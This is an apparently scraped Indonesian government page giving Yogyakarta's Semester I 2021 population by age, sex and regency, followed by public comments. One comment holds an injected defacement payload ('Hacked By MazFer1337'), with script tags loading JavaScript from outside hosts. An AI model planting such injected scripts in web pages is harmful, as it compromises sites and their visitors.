Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaKULON PROGOBANTULGUNUNGKIDULSLEMANKOTA YOGYAKARTATotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4.7434.311 9.05410.4129.743 20.1558.0677.480 15.54711.69810.997 22.6954.2243.880 8.10439.144 36.411 75.555
2 tahun2.9772.619 5.5966.6116.267 12.8784.7734.430 9.2037.5016.991 14.4922.7662.573 5.33924.628 22.880 47.508
3 tahun2.9192.703 5.6226.6826.266 12.9484.7574.405 9.1627.6047.096 14.7002.8032.549 5.35224.765 23.019 47.784
4 tahun2.6832.591 5.2746.3375.875 12.2124.4474.234 8.6817.4137.028 14.4412.6222.512 5.13423.502 22.240 45.742
5 tahun3.1993.021 6.2206.8696.513 13.3825.0074.603 9.6108.0067.510 15.5162.9302.725 5.65526.011 24.372 50.383
6 tahun3.1222.811 5.9336.8546.559 13.4134.8844.628 9.5127.8177.567 15.3842.7912.835 5.62625.468 24.400 49.868
7 tahun2.9412.798 5.7396.8446.585 13.4294.9844.639 9.6238.0487.582 15.6302.9702.843 5.81325.787 24.447 50.234
8 tahun3.1452.894 6.0397.4806.922 14.4025.0564.666 9.7228.3597.958 16.3173.0752.909 5.98427.115 25.349 52.464
9 tahun3.3723.132 6.5047.6056.981 14.5865.3855.031 10.4168.6298.365 16.9943.1343.067 6.20128.125 26.576 54.701
10 tahun3.2363.015 6.2517.1256.909 14.0345.2684.976 10.2448.5077.992 16.4992.9922.904 5.89627.128 25.796 52.924
11 tahun3.3773.206 6.5837.3926.961 14.3535.6095.183 10.7928.5168.115 16.6313.0772.965 6.04227.971 26.430 54.401
12 tahun3.4993.190 6.6897.8367.330 15.1665.5815.162 10.7438.9608.536 17.4963.2483.162 6.41029.124 27.380 56.504
13 tahun3.2883.085 6.3737.5667.035 14.6015.5855.119 10.7048.5097.954 16.4633.2613.126 6.38728.209 26.319 54.528
14 tahun3.3443.101 6.4457.4037.085 14.4885.3134.948 10.2618.5488.264 16.8123.3663.165 6.53127.974 26.563 54.537
15 tahun3.0292.921 5.9506.8796.424 13.3035.0734.736 9.8098.1937.528 15.7213.2163.069 6.28526.390 24.678 51.068
16 tahun3.1163.004 6.1206.7126.205 12.9174.9894.686 9.6757.7737.326 15.0993.2243.205 6.42925.814 24.426 50.240
17 tahun3.2593.015 6.2746.6346.223 12.8575.1614.894 10.0557.8357.447 15.2823.2823.200 6.48226.171 24.779 50.950
18 tahun3.2133.202 6.4157.0176.540 13.5575.4115.076 10.4878.1757.782 15.9573.3813.142 6.52327.197 25.742 52.939
19 tahun3.1803.079 6.2596.8176.433 13.2505.3565.152 10.5088.1467.673 15.8193.3473.153 6.50026.846 25.490 52.336
20 tahun3.3073.120 6.4277.0886.783 13.8715.6755.407 11.0828.3457.910 16.2553.4233.261 6.68427.838 26.481 54.319
21 tahun3.4593.433 6.8927.2236.974 14.1976.2545.798 12.0528.3368.070 16.4063.3683.216 6.58428.640 27.491 56.131
22 tahun3.0432.965 6.0086.1235.984 12.1075.1524.880 10.0327.2466.935 14.1812.8792.847 5.72624.443 23.611 48.054
23 tahun3.3353.101 6.4366.5586.531 13.0895.4675.114 10.5817.8287.392 15.2203.1473.034 6.18126.335 25.172 51.507
24 tahun3.3423.199 6.5416.5796.530 13.1095.6975.259 10.9567.9497.499 15.4483.0893.027 6.11626.656 25.514 52.170
25 tahun3.3163.172 6.4886.6206.807 13.4275.6475.279 10.9267.8787.662 15.5403.0553.056 6.11126.516 25.976 52.492
26 tahun3.3263.173 6.4997.1156.991 14.1065.6855.410 11.0958.0048.007 16.0113.1273.128 6.25527.257 26.709 53.966
27 tahun3.2523.044 6.2966.8726.724 13.5965.5875.291 10.8787.5677.514 15.0813.0103.023 6.03326.288 25.596 51.884
28 tahun2.9253.013 5.9386.7626.783 13.5455.5395.106 10.6457.5877.471 15.0582.9242.925 5.84925.737 25.298 51.035
29 tahun3.1413.051 6.1926.7806.801 13.5815.6005.205 10.8057.6167.798 15.4142.9743.111 6.08526.111 25.966 52.077
30 tahun2.7972.871 5.6686.6496.793 13.4425.1555.164 10.3197.4607.478 14.9382.8512.911 5.76224.912 25.217 50.129
31 tahun2.8022.770 5.5726.6446.750 13.3945.0354.781 9.8167.1917.435 14.6262.8642.913 5.77724.536 24.649 49.185
32 tahun2.6992.659 5.3586.4076.460 12.8674.6294.458 9.0877.0247.260 14.2842.7432.847 5.59023.502 23.684 47.186
33 tahun2.7232.691 5.4146.4166.646 13.0624.5794.508 9.0877.1197.360 14.4792.6982.821 5.51923.535 24.026 47.561
34 tahun2.6712.744 5.4156.4736.574 13.0474.4514.526 8.9777.0997.536 14.6352.7742.994 5.76823.468 24.374 47.842
35 tahun2.8492.863 5.7126.7676.899 13.6665.0964.782 9.8787.4617.675 15.1362.9103.039 5.94925.083 25.258 50.341
36 tahun3.0903.179 6.2697.3687.380 14.7485.5215.182 10.7037.9138.191 16.1043.0723.149 6.22126.964 27.081 54.045
37 tahun3.0543.130 6.1847.2297.316 14.5455.2054.962 10.1678.2568.357 16.6133.1093.169 6.27826.853 26.934 53.787
38 tahun3.3063.341 6.6478.2298.061 16.2906.0425.690 11.7329.0459.332 18.3773.4233.495 6.91830.045 29.919 59.964
39 tahun3.2033.138 6.3417.8037.682 15.4855.6375.604 11.2418.7538.780 17.5333.4243.502 6.92628.820 28.706 57.526
40 tahun3.2723.168 6.4407.6707.314 14.9845.4445.399 10.8439.0198.834 17.8533.2173.295 6.51228.622 28.010 56.632
41 tahun3.1523.260 6.4127.5667.449 15.0155.7205.460 11.1808.8088.981 17.7893.1583.339 6.49728.404 28.489 56.893
42 tahun3.2573.176 6.4337.4807.358 14.8385.4365.270 10.7068.6388.588 17.2263.1293.394 6.52327.940 27.786 55.726
43 tahun3.1513.086 6.2377.3807.029 14.4095.3985.100 10.4988.4608.583 17.0433.0983.142 6.24027.487 26.940 54.427
44 tahun3.0132.975 5.9887.2247.024 14.2485.1475.023 10.1708.5558.604 17.1593.0623.299 6.36127.001 26.925 53.926
45 tahun3.1773.261 6.4387.3667.280 14.6465.4465.564 11.0108.2658.592 16.8573.0163.264 6.28027.270 27.961 55.231
46 tahun3.0392.934 5.9736.9486.712 13.6605.3425.453 10.7958.0048.286 16.2902.9453.032 5.97726.278 26.417 52.695
47 tahun2.8342.963 5.7976.4006.507 12.9075.1965.397 10.5937.7507.860 15.6102.7633.018 5.78124.943 25.745 50.688
48 tahun3.1223.223 6.3457.1527.339 14.4915.5715.985 11.5568.3178.592 16.9093.0283.191 6.21927.190 28.330 55.520
49 tahun2.9142.942 5.8566.4516.733 13.1845.3785.781 11.1597.8677.935 15.8022.8753.168 6.04325.485 26.559 52.044
50 tahun2.9302.994 5.9246.7086.774 13.4825.5585.769 11.3277.7767.949 15.7252.9163.141 6.05725.888 26.627 52.515
51 tahun3.2623.355 6.6177.1217.307 14.4286.0336.471 12.5048.1168.648 16.7642.8173.224 6.04127.349 29.005 56.354
52 tahun3.1803.389 6.5696.9057.216 14.1215.8606.160 12.0207.8188.255 16.0732.7443.115 5.85926.507 28.135 54.642
53 tahun3.1493.237 6.3866.6566.925 13.5815.2525.567 10.8197.4107.831 15.2412.7693.085 5.85425.236 26.645 51.881
54 tahun2.8603.093 5.9536.1106.235 12.3454.7265.288 10.0146.8477.193 14.0402.4962.921 5.41723.039 24.730 47.769
55 tahun3.1293.267 6.3966.5797.104 13.6835.2825.979 11.2617.1977.773 14.9702.7293.146 5.87524.916 27.269 52.185
56 tahun2.8913.126 6.0176.0786.357 12.4354.4505.031 9.4816.2636.937 13.2002.6312.831 5.46222.313 24.282 46.595
57 tahun2.7173.003 5.7205.7516.436 12.1874.8035.350 10.1536.1166.785 12.9012.5022.851 5.35321.889 24.425 46.314
58 tahun2.4632.815 5.2785.6786.115 11.7934.7545.189 9.9435.8626.573 12.4352.4602.796 5.25621.217 23.488 44.705
59 tahun2.4722.674 5.1465.2855.525 10.8104.1694.492 8.6615.4656.101 11.5662.2692.623 4.89219.660 21.415 41.075
60 tahun2.6582.891 5.5495.5786.139 11.7174.7345.589 10.3235.6926.478 12.1702.1282.581 4.70920.790 23.678 44.468
61 tahun2.9463.217 6.1635.7876.278 12.0654.7725.074 9.8465.7226.352 12.0742.2392.537 4.77621.466 23.458 44.924
62 tahun2.3802.586 4.9665.0695.321 10.3904.3044.988 9.2925.3195.854 11.1732.1002.410 4.51019.172 21.159 40.331
63 tahun2.1382.321 4.4594.6504.935 9.5853.8074.531 8.3384.8815.317 10.1981.8532.255 4.10817.329 19.359 36.688
64 tahun1.9732.098 4.0714.1614.369 8.5303.7434.390 8.1334.6135.224 9.8371.8532.047 3.90016.343 18.128 34.471
65 tahun2.0692.361 4.4304.2154.340 8.5554.0574.771 8.8284.4214.848 9.2691.6972.037 3.73416.459 18.357 34.816
66 tahun2.0392.282 4.3214.1663.939 8.1053.6793.784 7.4634.2914.408 8.6991.6371.910 3.54715.812 16.323 32.135
67 tahun1.8061.868 3.6743.4013.212 6.6133.4443.418 6.8623.9474.072 8.0191.4831.766 3.24914.081 14.336 28.417
68 tahun1.5861.726 3.3123.1342.962 6.0963.1833.142 6.3253.5613.694 7.2551.3871.535 2.92212.851 13.059 25.910
69 tahun1.5601.505 3.0652.7032.669 5.3723.5243.118 6.6422.9543.155 6.1091.1581.370 2.52811.899 11.817 23.716
70 tahun1.5311.658 3.1892.6462.985 5.6313.3993.989 7.3882.8703.339 6.2091.0401.272 2.31211.486 13.243 24.729
71 tahun1.4211.836 3.2572.3432.724 5.0672.4532.885 5.3382.4122.781 5.193827995 1.8229.456 11.221 20.677
72 tahun1.1491.383 2.5321.8872.229 4.1162.5423.135 5.6772.2573.047 5.3048021.013 1.8158.637 10.807 19.444
73 tahun9791.207 2.1861.5161.922 3.4381.9402.478 4.4181.8642.307 4.171638827 1.4656.937 8.741 15.678
74 tahun8581.120 1.9781.2771.732 3.0091.6742.368 4.0421.6552.259 3.914491744 1.2355.955 8.223 14.178
75 tahun1.0091.424 2.4331.6032.454 4.0572.1463.140 5.2861.8612.460 4.321502780 1.2827.121 10.258 17.379
76 tahun1.0341.453 2.4871.4842.085 3.5691.5701.868 3.4381.6251.846 3.471454651 1.1056.167 7.903 14.070
77 tahun7801.044 1.8241.3151.592 2.9071.5822.320 3.9021.6731.994 3.667453707 1.1605.803 7.657 13.460
78 tahun8451.094 1.9391.5961.934 3.5302.1162.415 4.5311.8942.071 3.965461677 1.1386.912 8.191 15.103
79 tahun687893 1.5801.1161.314 2.4301.3351.720 3.0551.3491.475 2.824344610 9544.831 6.012 10.843
80 ke atas4.6727.189 11.8617.29911.374 18.6739.92215.741 25.6637.67211.085 18.7571.8983.689 5.58731.463 49.078 80.541
Jumlah219.386223.452442.838476.234479.573955.807383.250391.046774.296539.000548.3391.087.339202.642212.740415.382 1.820.512 1.855.150 3.675.662
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih